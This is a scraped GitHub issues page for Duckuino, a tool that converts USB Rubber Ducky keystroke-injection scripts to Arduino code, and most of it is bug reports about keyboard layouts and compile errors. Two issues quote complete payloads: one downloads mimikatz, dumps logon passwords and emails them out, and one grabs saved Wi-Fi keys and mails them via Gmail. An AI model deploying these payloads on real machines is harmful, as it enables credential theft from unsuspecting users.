dukweeno / duckuino Goto Github PK
View Code? Open in Web Editor NEWSimple DuckyScript to Arduino C converter.
Home Page: https://dukweeno.github.io/Duckuino/
License: MIT License
Simple DuckyScript to Arduino C converter.
Home Page: https://dukweeno.github.io/Duckuino/
License: MIT License
When you try to use DEFAULT_DELAY
or DEFAULTDELAY
to set a default delay between each command, it results in the error, An error occured, the compiler returned undefined content
.
According to the USB Rubber Ducky Wiki,
DEFAULT_DELAY or DEFAULTDELAY
DEFAULT_DELAY or DEFAULTDELAY is used to define how long (milliseconds) to wait between each subsequent command. DEFAULT_DELAY must be issued at the beginning of the ducky script and is optional. Not specifying the DEFAULT_DELAY will result in faster execution of ducky scripts. This command is mostly useful when debugging.
Command Parameters
DEFAULT_DELAY 0..->
DEFAULTDELAY 0..->DEFAULT_DELAY 100 REM delays 100ms between each subsequent command sequence
DEFAULT_DELAY
simply sets a default delay time between each command.
When I'm plugging in my arduino on an English computer everything works flawlessly, but when plugging it in on a Swedish one everything ends up wonky. / is for example replaced by -.
This is due to keyboard layout (Swedish keyboards does indeed have - where English ones have /). Would it be possible to force the script to adapt to the current keyboard layout?
Short introduction to your problem.
when we try to compile code give error ketboard not found
Input code:
REM The code your entered in the input text area
Output code:
/* The code outputted by the script, 'none' otherwise */
Error:
/* Any error outputted by the page or the console, 'none' otherwise */
I suggest laying out your thoughts and opening discussion for the v2.0 you've mentioned via an issue, and creating a milestone with the results.
Well, the title is pretty self explanatory.
DEFAULT_DELAY 200 gives out an error in the console
Hi,
I create this library called MuKeyboard that enable (with the support from a little circuit) any Arduino/AVR board to support HID interface, thanks to the V-BUS framework.
I ask you if you could include a "flavor" tab for selecting which library use: the default in-build Arduino's HID Keyboard.h or our MuKeyboard.h
There are only few changes for your project:
#include "Keyboard.h"
to #include "MuKeyboard.h"
delay(ms)
to wait(ms)
Everything else should be perfectly compatible with the Arduino's Keyboard library and with your project indeed.
Here the link for the repo
Tested on a Arduino Nano and Uno, it works smooth and good!
Cheers,
MrMoDDoM
Short introduction to your problem.
Input code:
REM The code your entered in the input text area
Output code:
/* The code outputted by the script, 'none' otherwise */
Error:
/* Any error outputted by the page or the console, 'none' otherwise */
i need the libraries
Short introduction to your problem.
Input code:
REM The code your entered in the input text area
Output code:
/* The code outputted by the script, 'none' otherwise */
Error:
/* Any error outputted by the page or the console, 'none' otherwise */
Hello,
I would like to know if it has been implemented the possibility to set another keyboard language different than English in the decoder. I'm Italian and obviously the code I translate with this software types keys that on my Italian keyboard don't make much sense.
The "original" version of the Rubbery Ducky the script compiler it's also able to compile the code with a language option, to adapt it to different keyboards.
Can this be done with this software ? If not, are you planning an update that will enable this mapping function?
Thanks ! Amazing software BTW ๐
hello
instead of Keyboard.print("hello world");
can you make it do Keyboard.print(F("hello world));
so that the print will not get stored in the ram and instead go in the flash memory making longer line scripts possible
the foto is of a verry long script
without the (F()) it uses around 8k ram
with the (F()) it uses only 220
Short introduction to your problem.
Input code:
REM The code your entered in the input text area
Output code:
/* The code outputted by the script, 'none' otherwise */
Error:
/* Any error outputted by the page or the console, 'none' otherwise */
Short introduction to your problem.
Input code:
REM The code your entered in the input text area
Output code:
/* The code outputted by the script, 'none' otherwise */
Error:
/* Any error outputted by the page or the console, 'none' otherwise */
Short introduction to your problem.
Input code:
REM The code your entered in the input text area
Output code:
/* The code outputted by the script, 'none' otherwise */
Error:
/* Any error outputted by the page or the console, 'none' otherwise */
Short introduction to your problem.
Input code:
REM The code your entered in the input text area
Output code:
/* The code outputted by the script, 'none' otherwise */
Error:
/* Any error outputted by the page or the console, 'none' otherwise */
Hello,
as stated in the title the download button isn't working for me. Nothing happens if I click on it.
Since it doesn't do anything besides changing the style of the button if the mouse hovers over it I can't provide screenshots or error messages.
Probably related to #13
If I remember correctly a few weeks ago it worked fine but I'm not sure about that.
Returning back this error :
โ - Error: Unknown command or key 'DEFAULT_DELAY' at line: 5.
The issue is with the Keyboard.press("r");
the r
should be in single quotations like Keyboard.press('r');
.
Using the double quotations caused every icon on my desktop
to continuously open untill I unplugged the Arduino.
Input code:
DELAY 3000
GUI r
DELAY 500
STRING notepad
DELAY 500
ENTER
DELAY 750
STRING Hello World!!!
ENTER
Output code:
/**
* Made with Duckuino, an open-source project.
* Check the license at 'https://github.com/Nurrl/Duckuino/blob/master/LICENSE'
*/
#include "Keyboard.h"
void typeKey(uint8_t key)
{
Keyboard.press(key);
delay(50);
Keyboard.release(key);
}
/* Init function */
void setup()
{
// Begining the Keyboard stream
Keyboard.begin();
// Wait 500ms
delay(500);
delay(3000);
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press("r");
Keyboard.releaseAll();
delay(500);
Keyboard.print(F("notepad"));
delay(500);
typeKey(KEY_RETURN);
delay(750);
Keyboard.print(F("Hello World!!!"));
typeKey(KEY_RETURN);
// Ending stream
Keyboard.end();
}
/* Unused endless loop */
void loop() {}
Hi there,
Why there is no support for "REM"?
It's not a "issue" but it's kinda frustrating to remove all the comments from the payloads.
Anyway, i forked it and added the REM function to my branch.
Thanks
Arduino: 1.8.4 Hourly Build 2017/08/18 04:33 (Windows 10), Board: "Arduino Leonardo"
C:\Users\Adminstrator\Documents\Arduino Rubber Ducky\Test\Dckuino.js-yd1w.ino: In function 'void typeKey(uint8_t)':
Dckuino.js-yd1w:7: error: redefinition of 'void typeKey(uint8_t)'
void typeKey(uint8_t key)
^
C:\Users\Adminstrator\Documents\Arduino Rubber Ducky\Test\Test.ino:7:6: note: 'void typeKey(uint8_t)' previously defined here
void typeKey(uint8_t key)
^
C:\Users\Adminstrator\Documents\Arduino Rubber Ducky\Test\Dckuino.js-yd1w.ino: In function 'void setup()':
Dckuino.js-yd1w:15: error: redefinition of 'void setup()'
void setup()
^
C:\Users\Adminstrator\Documents\Arduino Rubber Ducky\Test\Test.ino:15:6: note: 'void setup()' previously defined here
void setup()
^
C:\Users\Adminstrator\Documents\Arduino Rubber Ducky\Test\Dckuino.js-yd1w.ino: In function 'void loop()':
Dckuino.js-yd1w:48: error: redefinition of 'void loop()'
void loop() {}
^
C:\Users\Adminstrator\Documents\Arduino Rubber Ducky\Test\Test.ino:48:6: note: 'void loop()' previously defined here
void loop() {}
^
exit status 1
redefinition of 'void typeKey(uint8_t)'
This report would have more information with
"Show verbose output during compilation"
option enabled in File -> Preferences.
Short introduction of your problem.
Input code:
/* The code your entered in the input textarea */
Output code:
/* The code outputted by the script, or 'none' if no script outputted */
void setup(){...};
).#include <Keyboard.h>
and/or #include <Mouse.h>
at the beginning of the payload.As it seems, you probably don't even have a atmega32u4 board to test your script.
I've fixed all of the above in my repository.
Arduino: 1.8.2 (Windows Store 1.8.2.0) (Windows 10), Board: "Arduino Leonardo"
C:\Users\lsjon\OneDrive\Documents\Arduino\hotdog_backround\hotdog_backround.ino: In function 'void setup()':
hotdog_backround:62: error: 'KEY_LEFT_ESC' was not declared in this scope
Keyboard.press(KEY_LEFT_ESC);
^
C:\Users\lsjon\OneDrive\Documents\Arduino\hotdog_backround\hotdog_backround.ino: At global scope:
hotdog_backround:114: error: expected initializer at end of input
void loop()
^
exit status 1
'KEY_LEFT_ESC' was not declared in this scope
Hi Thecakeisgit!
You Dckuino.js is awesome but I have a little problem. My keyboard is not english and this makes mistakes when the script is runing. Do you have another library for a diferent keyboard? In my case is a Spanish keyboard.
Thank you for your work.
@Thecakeisgit
Hi I'm trying to translate basic OSX Wallpaper Changer and this error comes up in my compiler:
osxwall3:1: error: expected constructor, destructor, or type conversion before '(' token
typeKey(KEY_RETURN);
^
osxwall3:3: error: 'Keyboard' does not name a type
Keyboard.print("cd Desktop/");
^
osxwall3:5: error: expected constructor, destructor, or type conversion before '(' token
typeKey(KEY_RETURN);
^
osxwall3:7: error: 'Keyboard' does not name a type
Keyboard.print("rm 1283877178.or.61533.jpg");
^
osxwall3:9: error: expected constructor, destructor, or type conversion before '(' token
typeKey(KEY_RETURN);
^
osxwall3:11: error: expected constructor, destructor, or type conversion before '(' token
delay(100);
^
osxwall3:13: error: 'Keyboard' does not name a type
Keyboard.print("cd");
^
osxwall3:15: error: expected constructor, destructor, or type conversion before '(' token
typeKey(KEY_RETURN);
^
osxwall3:17: error: expected constructor, destructor, or type conversion before '(' token
delay(50);
^
osxwall3:19: error: 'Keyboard' does not name a type
Keyboard.print("history -c");
^
osxwall3:21: error: expected constructor, destructor, or type conversion before '(' token
typeKey(KEY_RETURN);
^
osxwall3:23: error: 'Keyboard' does not name a type
Keyboard.press(KEY_LEFT_GUI);
^
osxwall3:24: error: 'Keyboard' does not name a type
Keyboard.press('w');
^
osxwall3:25: error: 'Keyboard' does not name a type
Keyboard.releaseAll();
^
osxwall3:26: error: expected constructor, destructor, or type conversion before '(' token
delay(100);
^
osxwall3:28: error: 'Keyboard' does not name a type
Keyboard.press(KEY_LEFT_GUI);
^
osxwall3:29: error: 'Keyboard' does not name a type
Keyboard.press('q');
^
osxwall3:30: error: 'Keyboard' does not name a type
Keyboard.releaseAll();
^
osxwall3:33: error: 'Keyboard' does not name a type
Keyboard.end();
^
osxwall3:34: error: expected declaration before '}' token
}
^
exit status 1
expected constructor, destructor, or type conversion before '(' token
Here is my script:
/*
* Generated with <3 by Dckuino.js, an open source project !
*/
#include "Keyboard.h"
void typeKey(int key)
{
Keyboard.press(key);
delay(50);
Keyboard.release(key);
}
/* Init function */
void setup()
{
// Begining the Keyboard stream
Keyboard.begin();
// Wait 500ms
delay(500);
delay(800);
typeKey(KEY_LEFT_GUI);
delay(40);
Keyboard.print("Do not touch anything This is automatically setting up the USB");
delay(2000);
typeKey(KEY_LEFT_ESC);
typeKey(KEY_LEFT_ESC);
typeKey(KEY_LEFT_ESC);
delay(200);
typeKey(KEY_LEFT_GUI);
delay(40);
Keyboard.print("http://bit.ly/2m7vd8c");
delay(20);
typeKey(KEY_RETURN);
delay(10);
Keyboard.press(KEY_LEFT_CTRL);
Keyboard.press('w');
Keyboard.releaseAll();
delay(5);
Keyboard.press(KEY_LEFT_CTRL);
Keyboard.press(KEY_LEFT_SHIFT);
Keyboard.press(KEY_F3);
Keyboard.releaseAll();
// Ending stream
Keyboard.end();
}
/* Unused endless loop */
void loop() {}
Input code:
GUI r
Output code:
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press("r");
Keyboard.releaseAll();
Hi, when I compile this code, Windows runs GUI + 7 instead of GUI + r. (I have selected the correct keyboard)
I tried to modify the Pesce's code with KEY_LEFT_ARROW, but your converter doesn't translate it!
But in official Arduino documentation https://www.arduino.cc/en/Reference/KeyboardModifiers KEY_LEFT_KEY exist!
Input code:
REM Author: Pesce
REM Date: 10/20/2013
REM Note: Thanks to all the help everyone! This is my first attempt, don't be to upset!
REM -------------open command prompt with admin privileges
DELAY 3000
GUI r
DELAY 1000
STRING cmd
DELAY 1000
KEY_LEFT_ARROW
ENTER
DELAY 300
REM -------------download appropriate mimikatz for architecture
STRING powershell if
DELAY 100
STRING ([System.IntPtr]::
DELAY 100
STRING Size -eq 4) { (
DELAY 100
STRING new-object System.Net.
DELAY 100
STRING WebClient).Dow
DELAY 100
STRING nloadFile('http
DELAY 100
STRING s://cdn-07.anonfi
DELAY 100
STRING le.com/6400R8dab7/a9
DELAY 100
STRING 9ba832-1521571009/m
DELAY 100
STRING imikatz.exe','%TEMP
DELAY 100
STRING %\pw.exe'); }else{
DELAY 100
STRING (new-object System.Ne
DELAY 100
STRING t.WebClient).Downl
DELAY 100
STRING oadFile('https://cdn-
DELAY 100
STRING 03.anonfile.com/p60
DELAY 100
STRING 7R7d7b9/eba7fb75-15
DELAY 100
STRING 21570641/mimikatz
DELAY 100
STRING .exe','%TEMP%
DELAY 100
STRING \pw.exe');}
DELAY 100
ENTER
DELAY 5000
REM -------------get the passwords and save to c:\pwlog.txt
STRING %TEMP%\pw.exe > c
DELAY 100
STRING :\pwlog.txt & t
DELAY 100
STRING ype pwlog.txt;
DELAY 100
ENTER
DELAY 2000
STRING privile
DELAY 100
STRING ge::debug
ENTER
DELAY 1000
STRING sekurlsa::logonP
DELAY 100
STRING asswords full
DELAY 100
ENTER
DELAY 1000
STRING exit
ENTER
DELAY 300
STRING del %TEMP%\pw.exe
DELAY 100
ENTER
DELAY 300
REM -------------email log via gmail
STRING powershell
ENTER
DELAY 300
STRING $SMTPServer = 'smt
DELAY 100
STRING p.gmail.com'
DELAY 100
ENTER
STRING $SMTPInfo = New-Object Net.Ma
DELAY 100
STRING il.SmtpClient($SmtpServer, 587)
DELAY 100
ENTER
STRING $SMTPInfo.En
DELAY 100
STRING ableSsl = $true
ENTER
STRING $SMTPInfo.Credentials = New-
STRING Object System.Net.NetworkCre
DELAY 100
STRING dential('cyberdade.spazzatu
DELAY 100
STRING [email protected]', 'Anonymous');
DELAY 100
ENTER
STRING $ReportEmail = New-Objec
DELAY 100
STRING t System.Net.Mail.MailMessage
DELAY 100
ENTER
STRING $ReportEmail.From = 'cyb
DELAY 100
STRING [email protected]'
ENTER
STRING $ReportEmail.To.Add
STRING ('[email protected]')
DELAY 100
ENTER
STRING $ReportEmail.S
DELAY 100
STRING ubject = 'Duck Report'
ENTER
STRING $ReportEmail.B
DELAY 100
STRING ody = 'Attached is yo
DELAY 100
STRING ur duck report.'
ENTER
STRING $ReportEmail.Att
DELAY 100
STRING achments.Add('c:\p
DELAY 100
STRING wlog.txt')
ENTER
STRING $SMTPInfo.Sen
DELAY 100
STRING d($ReportEmail)
ENTER
DELAY 1000
STRING exit
ENTER
REM ---------------------delete and end
STRING del c:\pwl
DELAY 100
STRINGog.txt
DELAY 100
ENTER
DELAY 300
STRING exit
ENTER
Output code:
An error occured, the compiler returned undefined content !
Error:
โ - Error: Unknown command or key 'KEY_LEFT_ARROW' at line: 10.
I switched to your compiler and reverted back because someone (EchoUnderscoreNine) had an issue:
"console Error: Unknown command or key 'F2' at line: 2. ---> any guesses?
it was running fine til your update an hour ago."
The Problem basicly: http://prntscr.com/ih1o8d
If u don't trust the link..
Code:
#include "Keyboard.h"
void typeKey(int key)
{
Keyboard.press(key);
delay(50);
Keyboard.release(key);
}
void setup()
{
// Begining the Keyboard stream
Keyboard.begin();
// Wait 500ms
delay(500);
delay(3000);
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press('r');
Keyboard.releaseAll();
delay(500);
Keyboard.print("notepad");
delay(500);
typeKey(KEY_RETURN);
delay(750);
Keyboard.print("Hello World!!!");
typeKey(KEY_RETURN);
// Ending stream
Keyboard.end();
}
/* Unused endless loop */
void loop() {}
Problem:
exit status 1
'Keyboard' not found. Does your sketch include the line '#include <Keyboard.h>'?
Short introduction to your problem.
Input code:
REM The code your entered in the input text area
Output code:
/* The code outputted by the script, 'none' otherwise */
Error:
/* Any error outputted by the page or the console, 'none' otherwise */
Short introduction to your problem.
Input code:
REM The code your entered in the input text area
Output code:
/* The code outputted by the script, 'none' otherwise */
Error:
/* Any error outputted by the page or the console, 'none' otherwise */
coll.
I thought it might be worth suggesting adding a gh-pages branch, which can mirror master. This would allow for the project to be live at thecakeisgit.github.io/DuckuinoPlus/
I have an Belgian Dot layout as keyboard. So when I try to write "azerty" using the programmed arduino leonardo it types "qwerty". How Can I fix this?
The Arduino ide gives me the error "'KEY_LEFT_ESC' was not declared in this scope" when I try to verify the code. Can someone tell me what the cause of this issue is?
I try to open notepad and write some stuff in it but it doesn't work.
Here is the script:
DELAY 5000
GUI r
DELAY 5000STRING notepad
ENTER
DELAY 5000STRING Hello
DELAY 5000
ENTER
DELAY 5000
ENTER
DELAY 5000
STRING Why did you plug this in?
Short introduction to your problem.
Input code:
REM The code your entered in the input text area
Output code:
/* The code outputted by the script, 'none' otherwise */
Error:
/* Any error outputted by the page or the console, 'none' otherwise */
When using the Enter command, it just types (
I want to know how do I change the converter to output the code in a compatible way for other keyboard layouts, like pt-br for instance. Thanks in advance!
REM Title: WiFi password grabber
REM Author: Siem
REM Version: 4
REM Description: Saves the SSID, Network type, Authentication and the password to Log.txt and emails the contents of Log.txt from a gmail account.
DELAY 3000
REM --> Minimize all windows
WINDOWS d
REM --> Open cmd
WINDOWS r
DELAY 500
STRING cmd
ENTER
DELAY 200
REM --> Getting SSID
STRING cd "%USERPROFILE%\Desktop" & for /f "tokens=2 delims=:" %A in ('netsh wlan show interface ^| findstr "SSID" ^| findstr /v "BSSID"') do set A=%A
ENTER
STRING set A="%A:~1%"
ENTER
REM --> Creating A.txt
STRING netsh wlan show profiles %A% key=clear | findstr /c:"Network type" /c:"Authentication" /c:"Key Content" | findstr /v "broadcast" | findstr /v "Radio">>A.txt
ENTER
REM --> Get network type
STRING for /f "tokens=3 delims=: " %A in ('findstr "Network type" A.txt') do set B=%A
ENTER
REM --> Get authentication
STRING for /f "tokens=2 delims=: " %A in ('findstr "Authentication" A.txt') do set C=%A
ENTER
REM --> Get password
STRING for /f "tokens=3 delims=: " %A in ('findstr "Key Content" A.txt') do set D=%A
ENTER
REM --> Delete A.txt
STRING del A.txt
ENTER
REM --> Create Log.txt
STRING echo SSID: %A%>>Log.txt & echo Network type: %B%>>Log.txt & echo Authentication: %C%>>Log.txt & echo Password: %D%>>Log.txt
ENTER
REM --> Mail Log.txt
STRING powershell
ENTER
STRING $SMTPServer = 'smtp.gmail.com'
ENTER
STRING $SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587)
ENTER
STRING $SMTPInfo.EnableSsl = $true
ENTER
STRING $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('[email protected]', 'rubberDucky5')
ENTER
STRING $ReportEmail = New-Object System.Net.Mail.MailMessage
ENTER
STRING $ReportEmail.From = '[email protected]'
ENTER
STRING $ReportEmail.To.Add('[email protected]')
ENTER
STRING $ReportEmail.Subject = 'WiFi key grabber'
ENTER
STRING $ReportEmail.Body = (Get-Content Log.txt | out-string)
ENTER
STRING $SMTPInfo.Send($ReportEmail)
ENTER
DELAY 1000
STRING exit
ENTER
DELAY 500
REM --> Delete Log.txt and exit
STRING del Log.txt & exit
ENTER
@Thecakeisgit
In order to make the mouse emulation be absolute (not relative) regarding screen resolution,
I've switched from the Arduino HID library to this library: https://github.com/NicoHood/HID
That means there will be a dependency in order to use my compiler.
I'm suggesting that you'll keep using the standard Arduino HID library on your compiler to give people the option to use it easily if they don't want to use the mouse emulation.
I've referenced your repository in my documentation and i suggest you'll reference mine in your documentation ("If you need to perform mouse emulation then use d4n5h's Duckuino").
I think that it's good idea.
By the way, what about the updates you've said you'll make (embedded console log and payload library)?
I'm french (sorry for my bad english), and I'm using an AZERTY keyboard and I've got some problems.
The code is not correctly executed, So I convert in QUERTY, the same.
With every script I convert I get the same problem.
The first thing that is executed on Windows is the magnifier. And I have seriously no idea why.
The rest of the code executes without any problems.
So when I convert for example this Ducky Script
DELAY 3000
GUI r
DELAY 600
STRING cmd
DELAY 200
ENTER
DELAY 750
STRING shutdown -s -t 5
ENTER
The result is:
It opens magnifier
and prints:
cmd
shutdown -s -t 5
In whatever screen is open.
So my first thought was that it is a keyboard issue. But I got a standard QWERTY keyboard set on English. This is probably a complete noobish question, but I would really appreciate the help.
Hi there,
I want to convert this ducky script to be readable for my arduino to execute but it does not convert because something about line 12 it says it doesnt understand A
Ill send you the ducky script if you can convert it for my - id appreciate it alot thanks!
DELAY 5000
SPACE
DELAY 500
SPACE
DELAY 500
DOWN
DELAY 500
ENTER
DELAY 2000
STRING ****************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************
DELAY 1000
CTRL A
DELAY 500
CTRL C
DELAY 500
CTRL V
DELAY 1000
CTRL A
DELAY 500
CTRL C
DELAY 500
CTRL V
DELAY 500
CTRL A
DELAY 500
CTRL C
DELAY 500
CTRL V
DELAY 1000
CTRL A
DELAY 500
CTRL C
DELAY 500
CTRL V
DELAY 1000
CTRL A
DELAY 500
CTRL C
DELAY 500
CTRL V
DELAY 1000
CTRL A
DELAY 500
CTRL C
DELAY 500
CTRL V
DELAY 1000
CTRL A
DELAY 500
CTRL X
DELAY 500
ESC
DELAY 15000
CTRL V
DELAY 1000
LEFT
LEFT
LEFT
LEFT
LEFT
DELAY 500
RIGHT
RIGHT
RIGHT
RIGHT
RIGHT
DELAY 1000
CTRL V
DELAY 1000
LEFT
LEFT
LEFT
LEFT
LEFT
DELAY 500
RIGHT
RIGHT
RIGHT
RIGHT
RIGHT
DELAY 1000
CTRL V
DELAY 1000
LEFT
LEFT
LEFT
LEFT
LEFT
DELAY 500
RIGHT
RIGHT
RIGHT
RIGHT
RIGHT
DELAY 1000
CTRL V
DELAY 1000
LEFT
LEFT
LEFT
LEFT
LEFT
DELAY 500
RIGHT
RIGHT
RIGHT
RIGHT
RIGHT
DELAY 1000
CTRL V
DELAY 1000
LEFT
LEFT
LEFT
LEFT
LEFT
DELAY 500
RIGHT
RIGHT
RIGHT
RIGHT
RIGHT
DELAY 1000
CTRL V
DELAY 1000
LEFT
LEFT
LEFT
LEFT
LEFT
DELAY 500
RIGHT
RIGHT
RIGHT
RIGHT
RIGHT
DELAY 1000
CTRL V
DELAY 1000
LEFT
LEFT
LEFT
LEFT
LEFT
DELAY 500
RIGHT
RIGHT
RIGHT
RIGHT
RIGHT
DELAY 1000
CTRL V
DELAY 1000
LEFT
LEFT
LEFT
LEFT
LEFT
DELAY 500
RIGHT
RIGHT
RIGHT
RIGHT
RIGHT
DELAY 1000
CTRL V
DELAY 1000
LEFT
LEFT
LEFT
LEFT
LEFT
DELAY 500
RIGHT
RIGHT
RIGHT
RIGHT
RIGHT
DELAY 1000
CTRL V
DELAY 1000
LEFT
LEFT
LEFT
LEFT
LEFT
DELAY 500
RIGHT
RIGHT
RIGHT
RIGHT
RIGHT
DELAY 1000
CTRL V
DELAY 500
STRING 11111
A declarative, efficient, and flexible JavaScript library for building user interfaces.
๐ Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. ๐๐๐
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google โค๏ธ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.